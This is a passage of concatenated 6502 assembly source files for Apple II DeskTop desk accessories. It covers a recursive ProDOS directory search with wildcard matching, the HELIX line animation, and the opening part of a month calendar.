;; DA runs with aux ZP and LC
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.proc Relay
tsx
stx saved_stack
ldax #nameBuffer
jmp ReadDir
.endproc ; Relay
.endproc ; Start
.proc Terminate
MLI_CALL CLOSE, CloseParms ; close the directory
ldx saved_stack
txs
rts
.endproc ; Terminate
;;;
;;;******************************************************
;;;******************************************************
;;;
.proc ReadDir
;;;
;;; This is the actual recursive routine. It takes as
;;; input a pointer to the directory name to read in
;;; A,X (lo,hi), opens it, and starts to read the
;;; entries. When it encounters a filename, it calls
;;; the routine "VisitFile". When it encounters a
;;; directory name, it calls "VisitDir".
;;;
;;; The directory pathname string must end with a "/"
;;; character.
;;;
;;;******************************************************
;;;
stax dirName ; save a pointer to name
stax OpenParms::pathname ; set up OpenFile params
ReadDir1: ; recursive entry point
jsr OpenDir ; open the directory as a file
bcs done
jmp nextEntry ; jump to the end of the loop
loop:
ldax entPtr
jsr JUMP_TABLE_ADJUST_FILEENTRY
ldy #FileEntry::storage_type_name_length ; get type of current entry
lda (entPtr),y
and #STORAGE_TYPE_MASK ; look at 4 high bits
cmp #0 ; inactive entry?
beq nextEntry ; yes - bump to next one
cmp #(ST_LINKED_DIRECTORY<<4) ; is it a directory?
beq ItsADir ; yes, so call VisitDir
jsr VisitFile ; no, it's a file
jmp nextEntry
ItsADir:
jsr VisitDir
nextEntry:
jsr CheckEventsFromMain
cmp #CHAR_ESCAPE
beq Terminate
jsr GetNext ; get pointer to next entry
bcc loop ; Carry set means we're done
done: ; moved before PHA (11/89 DAL)
pha ; save error code
MLI_CALL CLOSE, CloseParms ; close the directory
pla ;we're expecting EndOfFile error
cmp #ERR_END_OF_FILE
beq hitDirEnd
hitDirEnd:
rts
;;;
;;;******************************************************
;;;
.proc OpenDir
;;;
;;; Opens the directory pointed to by OpenParms
;;; parameter block. This pointer should be init-
;;; ialized BEFORE this routine is called. If the
;;; file is successfully opened, the following
;;; variables are set:
;;;
;;; xRefNum ; all the refnums
;;; entryLen ; size of directory entries
;;; entPtr ; pointer to current entry
;;; ThisBEntry ; entry number within this block
;;; ThisBlock ; offset (in blocks) into dir.
;;;
MLI_CALL OPEN, OpenParms ; open dir as a file
bcs OpenDone
lda OpenParms::ref_num ; copy the refnum return-
sta ReadParms::ref_num ; ed by Open into the
sta CloseParms::ref_num ; other param blocks.
sta SetMParms::ref_num
MLI_CALL READ, ReadParms ; read the first block
bcs OpenDone
copy8 block_buffer+SubdirectoryHeader::entry_length, entryLen ; init 'entryLen'
copy16 #(block_buffer+4), z:entPtr ; init ptr to first entry
lda block_buffer+SubdirectoryHeader::entries_per_block ; init these values based on
sta ThisBEntry ; values in the dir header
sta entPerBlk
copy8 #0, ThisBlock ; init block offset into dir.
clc ; say that open was OK
OpenDone:
rts
.endproc ; OpenDir
;;;
;;;******************************************************
;;;
.proc VisitFile
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsShowInvisible
IF_ZERO
;; Is the file visible?
ldy #FileEntry::access
lda (entPtr),y
and #ACCESS_I
bne exit
END_IF
;; Does the file match the search pattern?
lda pattern ; Skip if pattern is empty
IF_NOT_ZERO
jsr IsMatch
bcc exit ; No match
END_IF
ptr := $0A
lda num_entries
jsr GetEntryAddr
stax ptr
;; Copy name to buffer
jsr ExtendName ; Appends entry name to dirName plus '/'
ldy #0
lda (dirName),y
tay
DO
copy8 (dirName),y, (ptr),y
dey
WHILE_NOT_ZERO
lda (dirName),y ; Y is 0...
tax
dex ; Chop off the trailing '/'
txa
sta (ptr),y
jsr ChopName ; Restores the name
inc num_entries
;; Render it
jsr DrawNextResultFromMain
;; If we've hit max number of entries, terminate operation.
lda num_entries
cmp #kMaxFilePaths
jeq Terminate
exit: rts
.endproc ; VisitFile
;;;
;;;******************************************************
;;;
.proc VisitDir
;; Treat directories like files
jsr VisitFile
;; 6 bytes + 3 return addresses = 12 bytes are pushed to stack on
;; in RecursDir; 12 * 16 = 192 bytes, which leaves enough room
;; on the stack above and below for safety.
kMaxRecursionDepth = 16
lda Depth
IF_A_LT #kMaxRecursionDepth
jmp RecursDir ; enumerate all entries in sub-dir.
END_IF
rts
.endproc ; VisitDir
;;;
;;;******************************************************
;;;
.proc RecursDir
;;;
;;; This routine calls ReadDir recursively. It
;;;
;;; - increments the recursion depth counter,
;;; - saves certain variables onto the stack
;;; - closes the current directory
;;; - creates the name of the new directory
;;; - calls ReadDir (recursively)
;;; - restores the variables from the stack
;;; - restores directory name to original value
;;; - re-opens the old directory
;;; - moves to our last position within it
;;; - decrements the recursion depth counter
;;;
inc Depth ; bump this for recursive call
;;;
;;; Save everything we can think of (the women,
;;; the children, the beer, etc.).
;;;
lda z:entPtr+1
pha
lda z:entPtr
pha
lda ThisBEntry
pha
lda ThisBlock
pha
lda entryLen
pha
lda entPerBlk
pha
;;;
;;; Close the current directory, as ReadDir will
;;; open files of its own, and we don't want to
;;; have a bunch of open files lying around.
;;;
MLI_CALL CLOSE, CloseParms
jsr ExtendName ; make new dir name
jsr ReadDir1 ; enumerate the subdirectory
jsr ChopName ; restore old directory name
jsr OpenDir ; re-open it back up
bcc reOpened
;;;
;;; Can't continue from this point -- exit in
;;; whatever way is appropriate for your
;;; program.
;;;
jmp Terminate
reOpened:
;;;
;;; Restore everything that we saved before
;;;
pla
sta entPerBlk
pla
sta entryLen
pla
sta ThisBlock
pla
sta ThisBEntry
pla
sta z:entPtr
pla
sta z:entPtr+1
lda #0
sta SetMParms::position
sta SetMParms::position+2
lda ThisBlock ; reset last position in dir
asl a ; = to block # times 512
sta SetMParms::position+1
rol SetMParms::position+2
MLI_CALL SET_MARK, SetMParms ; reset the file marker
MLI_CALL READ, ReadParms ; now read in the block we were on last.
dec Depth
rts
.endproc ; RecursDir
;;;
;;;******************************************************
;;;
.proc ExtendName
;;;
;;; Append the name in the current directory entry
;;; to the name in the directory name buffer. This
;;; will allow us to descend another level into the
;;; disk hierarchy when we call ReadDir.
;;;
ldy #FileEntry::storage_type_name_length ; get length of string to copy
lda (entPtr),y
and #NAME_LENGTH_MASK
sta extCnt ; save the length here
sty srcPtr ; init src ptr to zero
ldy #0 ; init dest ptr to end of
lda (dirName),y ; the current directory name
sta destPtr
extloop:
inc srcPtr ; bump to next char to read
inc destPtr ; bump to next empty location
ldy srcPtr ; get char of sub-dir name
lda (entPtr),y
ldy destPtr ; tack on to end of cur. dir.
sta (dirName),y
dec extCnt ; done all chars?
bne extloop ; no - so do more
iny
lda #'/' ; tack "/" on to the end
sta (dirName),y
tya ; fix length of filename to open
ldy #0
sta (dirName),y
rts
extCnt: .res 1
srcPtr: .res 1
destPtr: .res 1
.endproc ; ExtendName
;;;
;;;
;;;******************************************************
;;;
.proc ChopName
;;;
;;; Scans the current directory name, and chops
;;; off characters until it gets to a /.
;;;
ldy #0 ; get len of current dir.
lda (dirName),y
tay
ChopLoop:
dey ; bump to previous char
lda (dirName),y
cmp #'/'
bne ChopLoop
tya
ldy #0
sta (dirName),y
rts
.endproc ; ChopName
;;;
;;;******************************************************
;;;
.proc GetNext
;;;
;;; This routine is responsible for making a pointer
;;; to the next entry in the directory. If there are
;;; still entries to be processed in this block, then
;;; we simply bump the pointer by the size of the
;;; directory entry. If we have finished with this
;;; block, then we read in the next block, point to
;;; the first entry, and increment our block counter.
;;;
dec ThisBEntry ; dec count for this block
beq ReadNext ; done w/this block, get next one
clc ; else bump up index
lda z:entPtr
adc entryLen
sta z:entPtr
lda z:entPtr+1
adc #0
sta z:entPtr+1
clc ; say that the buffer's good
rts
ReadNext:
MLI_CALL READ, ReadParms ; get the next block
bcs DirDone
inc ThisBlock
copy16 #(block_buffer+4),z:entPtr ; set entry pointer to beginning
; of first entry in block
copy8 entPerBlk, ThisBEntry ; re-init 'entries in this block'
dec ThisBEntry
clc ; return 'No error'
rts
DirDone:
sec ; return 'an error occurred' (error in A)
rts
.endproc ; GetNext
.endproc ; ReadDir
;;;
;;;******************************************************
;;;
;;; Some global variables
;;;
Depth: .res 1 ; amount of recursion
ThisBEntry: .res 1 ; entry in this block
ThisBlock: .res 1 ; block with dir
entryLen: .res 1 ; length of each directory entry
entPerBlk: .res 1 ; entries per block
;;; ============================================================
pattern: .res 16 ; 15 + null terminator
string: .res 16 ; 15 + null terminator
.proc IsMatch
.scope
;; Copy filename to null terminated string buffer
ASSERT_EQUALS FileEntry::storage_type_name_length, 0, "Can't treat as Pascal string"
ASSERT_EQUALS FileEntry::file_name, 1, "Can't treat as Pascal string"
ldy #FileEntry::storage_type_name_length
lda (entPtr),y
and #NAME_LENGTH_MASK
tay
copy8 #0, string,y ; null-terminate
cpy #0
IF_NOT_ZERO
DO
lda (entPtr),y ; copy characters
jsr ToUpperCase
sta string-1,y
dey
WHILE_NOT_ZERO
END_IF
.endscope
str := $0A
ldax #string
stax str
;;; Based on Pattern Matcher
;;; String pattern matcher in 6502 assembly.
;;; By Paul Guertin (pg@sff.net), 30 August 2000
;;; http://6502.org/source/strings/patmatch.htm
;;; Input: A NUL-terminated, <255-length pattern at address `pattern`.
;;; A NUL-terminated, <255-length string pointed to by `str`.
;;;
;;; Output: Carry bit = 1 if the string matches the pattern, = 0 if not.
;;;
;;; Notes: Clobbers A, X, Y. Each * in the pattern uses 4 bytes of stack.
;;;
ldx #$00 ; X is an index in the pattern
ldy #$FF ; Y is an index in the string
next: lda pattern,X ; Look at next pattern character
cmp #'*' ; Is it a star?
beq star ; Yes, do the complicated stuff
iny ; No, let's look at the string
cmp #'?' ; Is the pattern caracter a ques?
bne reg ; No, it's a regular character
lda (str),Y ; Yes, so it will match anything
beq fail ; except the end of string
reg: cmp (str),Y ; Are both characters the same?
bne fail ; No, so no match
inx ; Yes, keep checking
cmp #0 ; Are we at end of string?
bne next ; Not yet, loop
found: rts ; Success, return with C=1
star: inx ; Skip star in pattern
cmp pattern,X ; String of stars equals one star
beq star ; so skip them also
stloop: txa ; We first try to match with * = ""
pha ; and grow it by 1 character every
tya ; time we loop
pha ; Save X and Y on stack
jsr next ; Recursive call
pla ; Restore X and Y
tay
pla
tax
bcs found ; We found a match, return with C=1
iny ; No match yet, try to grow * string
lda (str),Y ; Are we at the end of string?
bne stloop ; Not yet, add a character
fail: clc ; Yes, no match found, return with C=0
rts
.endproc ; IsMatch
.endscope ; RecursiveCatalog
;;; ============================================================
;;; Called from Main with normal ZP/ROM. Bank in everything
;;; needed for MGTK, draw the latest result, and restore banks.
.proc DrawNextResultFromMain
sta ALTZPON
bit LCBANK1
bit LCBANK1
JSR_TO_AUX aux::DrawNextResult
sta ALTZPOFF
bit ROMIN2
rts
.endproc ; DrawNextResultFromMain
;;; ============================================================
;;; Called from Main with normal ZP/ROM. Bank in everything
;;; needed for MGTK, check events, and restore banks.
.proc CheckEventsFromMain
sta ALTZPON
bit LCBANK1
bit LCBANK1
JSR_TO_AUX aux::CheckEvents
sta ALTZPOFF
bit ROMIN2
rts
.endproc ; CheckEventsFromMain
;;; ============================================================
DEFINE_ON_LINE_PARAMS on_line_params,, on_line_buffer
on_line_buffer:
.res 16, 0
devidx: .byte 0
;;; Call before calling `NextVolume` to begin enumeration.
.proc InitVolumes
copy8 DEVCNT, devidx
rts
.endproc ; InitVolumes
;;; Appends next volume name to `searchPath`. Call `InitVolumes` first.
;;; Output: C=0 on success, C=1 on failure
.proc NextVolume
repeat: ldx devidx
bmi fail
dec devidx
lda DEVLST,x
and #UNIT_NUM_MASK
sta on_line_params::unit_num
JUMP_TABLE_MLI_CALL ON_LINE, on_line_params
bcs repeat
lda on_line_buffer
and #NAME_LENGTH_MASK
beq repeat ; error - try next one
param_call JUMP_TABLE_ADJUST_ONLINEENTRY, on_line_buffer
ldx #0
DO
copy8 on_line_buffer+1,x, searchPath+2,x
inx
WHILE_X_NE on_line_buffer
copy8 #'/', searchPath+2,x ; add trailing '/'
inx
inx
stx searchPath
;; Success!
clc
rts
fail:
sec
rts
.endproc ; NextVolume
;;; ============================================================
ReadSetting = JUMP_TABLE_READ_SETTING
.include "../lib/uppercase.s"
;;; ============================================================
entries_buffer := *
;;; ============================================================
.endscope ; main
DA_END_MAIN_SEGMENT
kMaxFilePaths = (::main::block_buffer - ::main::entries_buffer) / kPathBufferSize
;;; ============================================================
|
a2stuff/a2d
| 7,302
|
src/desk.acc/helix.s
|
;;; ============================================================
;;; HELIX - Desk Accessory
;;;
;;; Clears the screen and animates a pleasing distraction.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc AuxStart
;; Run the DA
jmp Init
.endproc ; AuxStart
;;; ============================================================
;;; Animation Resources
deltax1: .word 0
deltay1: .word 0
deltax2: .word 0
deltay2: .word 0
kNumPoints = 16
cur_point:
.byte 0
x1pos: .res kNumPoints * 2
y1pos: .res kNumPoints * 2
x2pos: .res kNumPoints * 2
y2pos: .res kNumPoints * 2
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
notpencopy: .byte MGTK::notpencopy
pencopy: .byte MGTK::pencopy
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; DA Init
.proc Init
jsr InitRand
;; Initialize positions (x = 0...511, y = 0...127)
jsr Random
sta x1pos ; low 8 bits
jsr Random
and #%00000001
sta x1pos+1 ; high 8 bits
jsr Random
sta x2pos ; low 8 bits
jsr Random
and #%00000001
sta x2pos+1 ; high 8 bits
jsr Random
and #%01111111
sta y1pos
jsr Random
and #%01111111
sta y2pos
;; Initialize deltas
jsr GetRandomDelta
stax deltax1
jsr GetRandomDelta
stax deltax2
jsr GetRandomDelta
stax deltay1
jsr GetRandomDelta
stax deltay2
;; Scale for more dramatic motion, and 2:1 x:y pixel ratio
asl16 deltax1
asl16 deltax1
asl16 deltax2
asl16 deltax2
asl16 deltay1
asl16 deltay2
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jsr Animate
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
MGTK_CALL MGTK::ShowCursor
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
;;; Animate
.proc Animate
MGTK_CALL MGTK::SetPort, grafport
pt1 := $06
pt2 := $0A
;; --------------------------------------------------
;; Erase oldest
ldx cur_point
inx
IF_X_EQ #kNumPoints
ldx #0
END_IF
txa
asl
tax
copy16 x1pos,x, pt1+MGTK::Point::xcoord
copy16 y1pos,x, pt1+MGTK::Point::ycoord
copy16 x2pos,x, pt2+MGTK::Point::xcoord
copy16 y2pos,x, pt2+MGTK::Point::ycoord
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::MoveTo, pt1
MGTK_CALL MGTK::LineTo, pt2
lda cur_point
asl
tax
;; --------------------------------------------------
;; Create newest
add16 x1pos,x, deltax1, pt1+MGTK::Point::xcoord
add16 y1pos,x, deltay1, pt1+MGTK::Point::ycoord
scmp16 pt1+MGTK::Point::xcoord, #0
IF_NEG
copy16 #0, pt1+MGTK::Point::xcoord
sub16 #0, deltax1, deltax1
END_IF
scmp16 pt1+MGTK::Point::xcoord, #kScreenWidth
IF_POS
copy16 #kScreenWidth-1, pt1+MGTK::Point::xcoord
sub16 #0, deltax1, deltax1
END_IF
scmp16 pt1+MGTK::Point::ycoord, #0
IF_NEG
copy16 #0, pt1+MGTK::Point::ycoord
sub16 #0, deltay1, deltay1
END_IF
scmp16 pt1+MGTK::Point::ycoord, #kScreenHeight
IF_POS
copy16 #kScreenHeight-1, pt1+MGTK::Point::ycoord
sub16 #0, deltay1, deltay1
END_IF
add16 x2pos,x, deltax2, pt2+MGTK::Point::xcoord
add16 y2pos,x, deltay2, pt2+MGTK::Point::ycoord
scmp16 pt2+MGTK::Point::xcoord, #0
IF_NEG
copy16 #0, pt2+MGTK::Point::xcoord
sub16 #0, deltax2, deltax2
END_IF
scmp16 pt2+MGTK::Point::xcoord, #kScreenWidth
IF_POS
copy16 #kScreenWidth-1, pt2+MGTK::Point::xcoord
sub16 #0, deltax2, deltax2
END_IF
scmp16 pt2+MGTK::Point::ycoord, #0
IF_NEG
copy16 #0, pt2+MGTK::Point::ycoord
sub16 #0, deltay2, deltay2
END_IF
scmp16 pt2+MGTK::Point::ycoord, #kScreenHeight
IF_POS
copy16 #kScreenHeight-1, pt2+MGTK::Point::ycoord
sub16 #0, deltay2, deltay2
END_IF
;; --------------------------------------------------
;; Replace oldest
ldx cur_point
inx
IF_X_EQ #kNumPoints
ldx #0
END_IF
stx cur_point
txa
asl
tax
copy16 pt1+MGTK::Point::xcoord, x1pos,x
copy16 pt1+MGTK::Point::ycoord, y1pos,x
copy16 pt2+MGTK::Point::xcoord, x2pos,x
copy16 pt2+MGTK::Point::ycoord, y2pos,x
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::MoveTo, pt1
MGTK_CALL MGTK::LineTo, pt2
rts
.endproc ; Animate
;;; ============================================================
.include "../lib/prng.s"
;;; ============================================================
;;; Output: A,X = signed in -7...7 but not 0
.proc GetRandomDelta
ldx #0
DO
jsr Random
and #%00001111 ; clamp to 0...15
sec
sbc #8 ; map to -7...7
WHILE_ZERO ; retry if 0
IF_NEG
ldx #$FF ; sign-extend into X
END_IF
rts
.endproc ; GetRandomDelta
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jsr JUMP_TABLE_COLOR_MODE
JSR_TO_AUX aux::AuxStart
jmp JUMP_TABLE_RGB_MODE
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 22,078
|
src/desk.acc/calendar.s
|
;;; ============================================================
;;; CALENDAR - Desk Accessory
;;;
;;; A simple month calendar
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "calendar.res"
.include "apple2.inc"
.include "opcodes.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDayDX = 35
kDayDY = 13
kDAWindowId = $80
kDAWidth = kDayDX * 7
kDAHeight = kDayDY * 8 - 2
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $00
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
str_sun: PASCAL_STRING res_string_weekday_abbrev_1
str_mon: PASCAL_STRING res_string_weekday_abbrev_2
str_tue: PASCAL_STRING res_string_weekday_abbrev_3
str_wed: PASCAL_STRING res_string_weekday_abbrev_4
str_thu: PASCAL_STRING res_string_weekday_abbrev_5
str_fri: PASCAL_STRING res_string_weekday_abbrev_6
str_sat: PASCAL_STRING res_string_weekday_abbrev_7
day_str_table:
.addr str_sun, str_mon, str_tue, str_wed, str_thu, str_fri, str_sat
ASSERT_ADDRESS_TABLE_SIZE day_str_table, 7
str_jan: PASCAL_STRING res_string_month_name_1
str_feb: PASCAL_STRING res_string_month_name_2
str_mar: PASCAL_STRING res_string_month_name_3
str_apr: PASCAL_STRING res_string_month_name_4
str_may: PASCAL_STRING res_string_month_name_5
str_jun: PASCAL_STRING res_string_month_name_6
str_jul: PASCAL_STRING res_string_month_name_7
str_aug: PASCAL_STRING res_string_month_name_8
str_sep: PASCAL_STRING res_string_month_name_9
str_oct: PASCAL_STRING res_string_month_name_10
str_nov: PASCAL_STRING res_string_month_name_11
str_dec: PASCAL_STRING res_string_month_name_12
month_str_table:
.addr str_jan, str_feb, str_mar, str_apr, str_may, str_jun
.addr str_jul, str_aug, str_sep, str_oct, str_nov, str_dec
ASSERT_ADDRESS_TABLE_SIZE month_str_table, 12
month_len_table:
.byte 31, 28, 31, 30, 31, 30
.byte 31, 31, 30, 31, 30, 31
ASSERT_TABLE_SIZE month_len_table, 12
kDayXPos = 10
kDayYPos = 23
kDayXOff = kDayDX
DEFINE_POINT pos_sun, kDayXPos + kDayXOff * 0, kDayYPos
DEFINE_POINT pos_mon, kDayXPos + kDayXOff * 1, kDayYPos
DEFINE_POINT pos_tue, kDayXPos + kDayXOff * 2, kDayYPos
DEFINE_POINT pos_wed, kDayXPos + kDayXOff * 3, kDayYPos
DEFINE_POINT pos_thu, kDayXPos + kDayXOff * 4, kDayYPos
DEFINE_POINT pos_fri, kDayXPos + kDayXOff * 5, kDayYPos
DEFINE_POINT pos_sat, kDayXPos + kDayXOff * 6, kDayYPos
day_pos_table:
.addr pos_sun, pos_mon, pos_tue, pos_wed, pos_thu, pos_fri, pos_sat
ASSERT_ADDRESS_TABLE_SIZE day_pos_table, 7
kGridXPos = 35
kGridYPos = 25
kGridDX = kDayDX
kGridDY = kDayDY
grid_lines:
DEFINE_POINT gl1a, 0, kGridYPos + kGridDY * 0
DEFINE_POINT gl1b, kDAWidth, kGridYPos + kGridDY * 0
DEFINE_POINT gl2a, 0, kGridYPos + kGridDY * 1
DEFINE_POINT gl2b, kDAWidth, kGridYPos + kGridDY * 1
DEFINE_POINT gl3a, 0, kGridYPos + kGridDY * 2
DEFINE_POINT gl3b, kDAWidth, kGridYPos + kGridDY * 2
DEFINE_POINT gl4a, 0, kGridYPos + kGridDY * 3
DEFINE_POINT gl4b, kDAWidth, kGridYPos + kGridDY * 3
DEFINE_POINT gl5a, 0, kGridYPos + kGridDY * 4
DEFINE_POINT gl5b, kDAWidth, kGridYPos + kGridDY * 4
DEFINE_POINT gl6a, 0, kGridYPos + kGridDY * 5
DEFINE_POINT gl6b, kDAWidth, kGridYPos + kGridDY * 5
DEFINE_POINT gl7a, kGridXPos + kGridDX * 0, kGridYPos
DEFINE_POINT gl7b, kGridXPos + kGridDX * 0, kDAHeight
DEFINE_POINT gl8a, kGridXPos + kGridDX * 1, kGridYPos
DEFINE_POINT gl8b, kGridXPos + kGridDX * 1, kDAHeight
DEFINE_POINT gl9a, kGridXPos + kGridDX * 2, kGridYPos
DEFINE_POINT gl9b, kGridXPos + kGridDX * 2, kDAHeight
DEFINE_POINT gl10a, kGridXPos + kGridDX * 3, kGridYPos
DEFINE_POINT gl10b, kGridXPos + kGridDX * 3, kDAHeight
DEFINE_POINT gl11a, kGridXPos + kGridDX * 4, kGridYPos
DEFINE_POINT gl11b, kGridXPos + kGridDX * 4, kDAHeight
DEFINE_POINT gl12a, kGridXPos + kGridDX * 5, kGridYPos
DEFINE_POINT gl12b, kGridXPos + kGridDX * 5, kDAHeight
kNumGridLines = 12
grid_pen:
.byte 2, 1
kArrowDX = 16
kArrowDY = 10
DEFINE_BUTTON left_button, kDAWindowId, kGlyphLeftArrow,, 40, 2, kArrowDX, kArrowDY
DEFINE_BUTTON right_button, kDAWindowId, kGlyphRightArrow,, kDAWidth - kArrowDX - 40, 2, kArrowDX, kArrowDY
DEFINE_RECT rect_month_year, kArrowDX+44, 0, kDAWidth-kArrowDX-44, 11
DEFINE_POINT pos_month_year, SELF_MODIFIED, 11
str_space:
PASCAL_STRING " "
str_year:
PASCAL_STRING "0000"
DEFINE_POINT date_base, 12, kGridYPos + 11
DEFINE_POINT date_pos, 0, 0
str_date:
PASCAL_STRING " "
;;; ============================================================
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; Common Resources
;;; Copied from ProDOS
.params auxdt
DATELO: .byte 0
DATEHI: .byte 0
TIMELO: .byte 0
TIMEHI: .byte 0
.endparams
;;; Parsed
.params datetime
year: .word kBuildYYYY
month: .byte kBuildMM
day: .byte kBuildDD
hour: .byte 0
minute: .byte 0
.endparams
.assert .sizeof(datetime) = .sizeof(ParsedDateTime), error, "size mismatch"
first_dow:
.byte 0
;;; ============================================================
.proc Init
;; Grab current ProDOS date/time
copy16 #DATELO, STARTLO
copy16 #DATELO+.sizeof(DateTime)-1, ENDLO
copy16 #auxdt, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; If it is valid, parse it
lda auxdt::DATELO
ora auxdt::DATEHI
IF_NOT_ZERO
copy16 #datetime, $A ; populate this struct
ldax #auxdt ; use current date
jsr ParseDatetime
END_IF
;; Load "first day of week" from settings
ldx #DeskTopSettings::intl_first_dow
jsr ReadSetting
sta first_dow
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::apple_key
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
cmp #CHAR_LEFT
jeq DecDate
cmp #CHAR_UP
jeq DecDate
cmp #CHAR_RIGHT
jeq IncDate
cmp #CHAR_DOWN
jeq IncDate
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
beq Exit
bne InputLoop ; always
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
jeq HandleClose
cmp #MGTK::Area::dragbar
jeq HandleDrag
cmp #MGTK::Area::content
jeq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc DecDate
jsr InvertDec
lda BUTN0
and BUTN1
IF_NS
sub16_8 datetime + ParsedDateTime::year, #10
jmp check
END_IF
lda BUTN0
ora BUTN1
bmi year
dec datetime + ParsedDateTime::month
bne fin
copy8 #12, datetime + ParsedDateTime::month
year: dec16 datetime + ParsedDateTime::year
check: cmp16 datetime + ParsedDateTime::year, #1901
bcs fin
copy16 #2155, datetime + ParsedDateTime::year
fin: jsr UpdateWindow
jsr InvertDec
jmp InputLoop
.proc InvertDec
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_NE #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpenXOR
MGTK_CALL MGTK::InflateRect, shrink
MGTK_CALL MGTK::PaintRect, left_button::rect
MGTK_CALL MGTK::InflateRect, grow
END_IF
rts
.params shrink
.addr left_button::rect
.word AS_WORD(-1), AS_WORD(-1)
.endparams
.params grow
.addr left_button::rect
.word 1, 1
.endparams
.endproc ; InvertDec
.endproc ; DecDate
.proc IncDate
jsr InvertInc
lda BUTN0
and BUTN1
IF_NS
add16_8 datetime + ParsedDateTime::year, #10
jmp check
END_IF
lda BUTN0
ora BUTN1
bmi year
inc datetime + ParsedDateTime::month
lda datetime + ParsedDateTime::month
cmp #13
bcc fin
copy8 #1, datetime + ParsedDateTime::month
year: inc16 datetime + ParsedDateTime::year
check: cmp16 datetime + ParsedDateTime::year, #2155
bcc fin
copy16 #1901, datetime + ParsedDateTime::year
fin: jsr UpdateWindow
jsr InvertInc
jmp InputLoop
.proc InvertInc
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_NE #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpenXOR
MGTK_CALL MGTK::InflateRect, shrink
MGTK_CALL MGTK::PaintRect, right_button::rect
MGTK_CALL MGTK::InflateRect, grow
END_IF
rts
.params shrink
.addr right_button::rect
.word AS_WORD(-1), AS_WORD(-1)
.endparams
.params grow
.addr right_button::rect
.word 1, 1
.endparams
.endproc ; InvertInc
